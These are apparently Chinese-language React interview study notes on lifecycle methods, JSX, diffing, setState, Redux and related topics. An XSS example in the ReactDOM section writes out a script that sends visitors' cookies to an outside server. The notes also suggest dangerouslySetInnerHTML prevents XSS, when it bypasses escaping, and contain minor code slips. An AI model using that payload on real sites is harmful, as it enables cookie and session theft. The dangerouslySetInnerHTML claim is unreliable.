react生命周期函数
- getDefaultProps:获取实例的默认属性
- getInitialState:获取每个实例的初始化状态
- shouldComponentUpdate:组件接受到新属性或者新状态的时候(可以返回false,接收数据后不更新,阻止render调用,后面的函数不会被继续执行了)
性能优化的周期函数
shouldComponentUpdate
判断是够需要调用render来重新描绘DOM。如果可以写出更优的diff,那么就可以提高性能
在生命周期的哪一步发起ajax请求
在 componentDidMount 中:
- 下一代调和算法会根据 页面开始和停止渲染的方式优化应用的性能,我们就不能确定 componentWillMount 被调用的次数,如果说是频繁调用的话,肯定是不能发起请求的
- 请求必须保证在组件挂载完毕之后才被触发,否则可能在未挂载的组件上调用setState方法,componentDidMount 能避免这个问题。
PureComponent
纯组件,react提供的辅助函数,用来实现属性或状态的浅比较。
具体比较方法:
- 两个都是基本类型,比较值;值一样 true,不一样,false
- 两个都是引用类型,比较引用对象是否是同一个,是,返回true,不是,比较长度、属性、属性值
- 一个基本一个引用,false
jsx代表Objects
本质上,JSX 是React.createElement(component, props, …children) 提供的语法糖,最终将返回一个js对象。
const element = (
<h1 className="greet">hello</h1>
)
// 转化之后的代码
const element = React.createElement(
'h1',
{className: 'greet'},
'hello'
)
// React.createElement返回一个对象(即 React元素)
const element = {
type: 'h1',
props: {
className: 'greet',
children: 'hello'
}
}
为什么每个组件都必须引入React
为了React始终在作用域中,jsx的实质是React.createElement()的语法糖。
受控组件 vs 非受控组件
-
受控组件
- 表单数据由 react 组件处理
- 使用 value 属性
- 使用 setState 更新数据
-
非受控组件:
- 表单数据由 DOM 处理
- 使用ref获取到真实的 DOM
- 使用 defaultValue 属性
React DOM
可以确保浏览器dom的数据内容和react元素保持一致
ReactDOM 可以有效的防止XSS(跨站脚本)攻击
ReactDOM在渲染之前会过滤所有传入的值,将所有的内容都转化成字符串,而不是一段可执行的代码,这样就可以确保应用不会被注入攻击。
场景:
a.com可以发文章,我登录后在a.com中发布了一篇包含恶意代码<script>window.open(“www.b.com?param=”+document.cookie)</script>
的文章,
这时Tom和Jack看到了我发布的文章,当在查看我的文章时就被注入攻击了,他们的cookie信息都发送到了我的服务器上
React 元素都是 immutable 不可变的。
要想改变,需要重新创建一个React DOM, 然后将它传入ReactDOM.render()方法中。
function tick() {
const element = <div>hello, {new Date().toLocaleTimeString()}</div>;
ReactDOM.render(element, document.getElementById('root));
}
tick();
setInterval(tick, 1000);
元素渲染与更新
渲染:通过 ReactDOM.render() 方法将 React元素渲染到根 DOM 节点中。
更新:创建一个新的元素,然后将它传入到 ReactDOM.render() 方法中
为什么虚拟DOM会提高性能
虚拟DOM相当于在js和真实的dom之间加了一个缓存,通过diff算法,避免了一些不必要的DOM的更新,从而提高性能。
过程:
- 用js对象结构表示DOM树,用这棵树构建一个真实的DOM树,插入到文档中
- 当状态发生变化时,重新构造一棵新的对象树,新的树和旧的树进行比较,记录差异
- 把记录的差异应用到步骤1所构建的真实的dom树上,视图更新。
为什么组件的返回值只能有一个根元素。
这是由**React.createElement()**方法决定的。dom结构就是一个树状结构。
Props 与 state 的区别
Props的只读性;所有的react必须像纯函数那样使用他们的props
// 纯函数 1.不改变传入的值 2. 传入的值相同时返回结果也一定相同
function sum(a, b) {
return a + b;
}
// 非纯函数
function change(user) {
user.name = 'lll';
}
协调
用来比较两棵树差异的算法。
在状态或者属性改变时,render 函数将返回一个新的 react 元素树,然后 react 算出新的树与旧的树之间的差异的过程叫做协调。
介绍一下diff算法
基于两个假设:
- 相同的组件产生类似的dom结果,不同的组件产生不同的dom结构;
- 同一层级的dom,可以通过唯一的key来标识;
当状态发生改变的时候,形成新的对象树,新的树和旧的树进行比较,也就是标记为差异dirty,最后将所有标记为dirty的组件重新绘制。
也可以选择重写shouldComponentUpdate方法,优化diff,提高性能。
diff算法的缺点
- 算法无法匹配不同组件类型的子树
- 不稳定的key(类似由Math.random()生成的)将引起许多组件实例和DOM节点不必要的重建,这可能引起性能下降并丢失子组件的状态。
React 中 keys 的作用是什么
帮助 React 识别哪些元素被添加、删除、修改了,减少不必要的更新,提高性能。
react性能优化方案
- 避免协调
通过重写这个生命周期函数shouldComponentUpdate 来提升速度,它是在重新渲染开始之前触发的,可以用来提高性能。
判断是否需要调用render方法去重新渲染。true:需要,false:不需要 - PureComponent
react提供的辅助函数,用来实现属性或状态的浅比较。 - 使用keys
帮助识别哪些元素被添加修改删除等。 - 使用压缩过的生产版本
因为开发版本中有很多有帮助的警告,会导致react很大很慢。
所以在部署应用时,应该确保自己使用了生产版本。也就是 .min.js 结尾的React文件
setState可能是异步的
重点:React 可以将多个setState() 调用合并成一个调用来提高性能
-
由react引发的事件处理:异步的
-
绕过react引发的事件处理:同步的
原理:在调用react事件处理函数之前,会调用 batchedUpdates 函数,将 isBatchingUpdates 的值改成true,也就是不同步更新state
调用 setState 之后发生了什么
调用setState之后,React会将传入的对象与当前组件的状态进行合并,React在得到元素树之后,触发调和过程,使用diff算法计算新的树和老的树之间的差异,根据差异最小化的渲染页面;
为什么要在(在构造函数中)调用 super(props)?
调用super()
是为了避免在构造函数中某些属性或者方法在未定义
之前使用,比如 this.state传入props
的参数时因为:虽然react在组件实例化
的时候会设置props,但是在构造函数结束之前,this.props都是未定义的。
所以传入props是为了初始化this.props
,方便在构造函数中使用。
react事件绑定的方式
- 事件处理
// 事件绑定一:构造函数中绑定
constructor(props) {
super(props);
this.handleClick = this.handleClick.bind(this);
}
// 事件绑定二:属性构造器语法
handleClick = () => {
console.log('this is:', this);
}
// 事件绑定三:箭头函数 问题:组件每次渲染时都会创建一个不同的回调函数,当这个回调函数当做参数传递给子组件时,可能会引起子组件额外的渲染
<button onClick={(e) => this.handleClick(e)}>
Click me
</button>
注意:在render中,bind 和 箭头函数 会在每次组件渲染时创建一个新的函数,可能会影响性能
何为高阶组件 higher order component
以一个组件为参数返回一个新的组件的函数。比如:Redux 的 connect函数
代码分隔
创建多个包,在运行时动态加载;帮助懒加载用户所需要的内容
- import()
- React Loadable
import Loadable from "react-loadable"; const LoadableOtherComponent = Loadable({ loader: () => import("./OtherComponent"), loading: () => <div>Loading...</div> }); const MyComponent = () => <LoadableOtherComponent />;
React Loadable 帮助你创建加载状态、错误状态、超时、预加载等等。它甚至能通过大量的代码分割帮助进行服务端渲染。
- 基于路由的代码分隔
import { BrowserRouter as Router, Route, Switch } from "react-router-dom"; import Loadable from "react-loadable"; const Loading = () => <div>Loading...</div>; const Home = Loadable({ loader: () => import("./routes/Home"), loading: Loading }); const App = () => ( <Router> <Switch> <Route exact path="/" component={Home} /> </Switch> </Router> );
React 和 Vue 对比
相同点:
- 虚拟 DOM
- 数据驱动视图
- 单项数据流
- 都有 native 方案
不同点:
- 单文件组件,js,css 分离
- template,jsx 语法和函数式编程
- 数据双向绑定,数据单项绑定
- 数据更新优化内置依赖追踪,数据更新优化手动写生命周期
flux的思想
单向流动
- 用户访问 view
- view 发送 action
- dispatcher 接收到 action,要求 store 进行相应的更新
- store 更新后,发送一个 onchange 方法
- view 接收到 onchange 事件后,更新页面
说说对redux的了解
是一个数据流管理工具,主要是解决单项数据流组件之间状态共享的问题。
主要有:action、store、reducer
工作流程:
- view 调用 store 的 dispatch 接收 action 传入 store
- reducer 进行 state 操作
- view 通过 store 提供的 getState 获取到最新的数据
react拦截浏览器刷新,关闭事件
componentWillMount () {
// 添加监听事件
window.addEventListener('beforeunload', this.beforeunload);
}
componentWillUnmount () {
// 销毁监听事件
window.removeEventListener('beforeunload', this.beforeunload);
}
// 在离开之前弹出弹框
beforeunload (e) {
let confirmationMessage = '你确定离开此页面吗?';
(e || window.event).returnValue = confirmationMessage;
return confirmationMessage;
}
react router 4 路由跳转之前确认自定义
https://www.jianshu.com/p/6798b9fe4b09
import { Prompt } from 'react-router-dom';
<Prompt message="系统可能不会保存您所做的更改?" when={true}/>
react进出场动画
https://www.npmjs.com/package/react-animated-router
react 静态检查
import PropTypes from "prop-types"; // React.PropTypes 自 React v15.5 起已弃用,使用 prop-types 代替
const ConsultantPair = ({ children }) => {
return <div>{children}</div>;
};
ConsultantPair.propTypes = {
children: PropTypes.element.isRequired
};
export default ConsultantPair;
react 富文本
react 元素 属性 dangerouslySetInnerHTML 展示富文本
react 为浏览器 DOM 的 innerHTML 提供的替换方案,防止 跨站脚本(XSS)的攻击。
<div dangerouslySetInnerHTML={{ __html: "<p>hello</p>" }}></div>
https://react.docschina.org/docs/dom-elements.html#dangerouslysetinnerhtml
react高阶组件传参
import React from "react";
function HOCFactoryFactory(...params) {
return function HOCFactory(WrappedComponent) {
return class HOC extends Component {
render() {
return <WrappedComponent {...this.props} />;
}
};
};
}
// 使用一
HOCFactoryFactory(params)(WrappedComponent);
// 使用二
@HOCFactoryFactory(params)
class WrappedComponent extends React.Component {}